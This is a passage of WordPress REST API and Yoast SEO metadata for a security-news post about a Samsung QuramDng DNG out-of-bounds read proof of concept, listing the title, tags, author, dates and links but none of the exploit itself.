redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=39821","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:18:39&#8243;,&#8221;description&#8221;:&#8221;This python proof of concept demonstrates an out-of-bounds read vulnerability in Samsung&#8217;s QuramDng image processing library, triggered via a specially crafted DNG Digital Negative file....","og_url":"https:\/\/zero.redgem.net\/?p=39821","og_site_name":"zero redgem","article_published_time":"2026-02-09T10:52:42+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=39821#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=39821"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157","datePublished":"2026-02-09T10:52:42+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=39821"},"wordCount":2275,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=39821#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=39821","url":"https:\/\/zero.redgem.net\/?p=39821","name":"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-09T10:52:42+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=39821#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=39821"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=39821#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Samsung QuramDng Warp Out-Of-Bounds Read_PACKETSTORM:215157"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39821","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39821"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39821\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39821"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39821"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39821"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}